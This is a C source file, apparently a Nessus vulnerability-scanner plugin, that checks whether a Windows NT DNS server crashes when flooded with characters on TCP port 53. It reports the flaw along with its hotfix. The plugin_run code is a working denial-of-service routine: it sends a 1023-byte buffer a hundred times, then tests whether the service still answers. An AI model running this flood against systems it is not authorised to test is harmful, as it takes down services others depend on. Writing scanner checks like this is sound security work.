/*
 * 
 * winnt_dns_flood
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>

#define NAME "WindowsNT DNS flood denial"
#define DESC "\
It is possile to crash some versions of WindowsNT\n\
DNS server by sending it a flood of characters\n\
The fix to this problem is in hotfixes-postSP3/dns-fix\n\
Risk factor : high"

#define COPYRIGHT "No copyright"
#define SUMM "performs a denial of service against Windows NT DNS server"

PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{	
	if(host_get_port_state(args, 53)>0)
	{
	 char * buf = emalloc(1024);
         int i;
         int soc;
         memset(buf, 'x', 1023);
         soc = open_sock_tcp(args, 53);
         if(soc>0)
         {
           for(i=0;i<100;i++)
           {
            send(soc, buf, strlen(buf),0);
           }
         efree(&buf);
         socket_close(soc);
         
         if((soc = open_sock_tcp(args, 53))<0)
          {
          post_hole(args, 53,
"It was possible to crash the remote DNS host by\n\
sending it a flood of characters.\n\
Solution : apply the fix in hotfixes-postSP3/dns-fix");
	   }
          else socket_close(soc);
         }
        } 
	return(0);
}

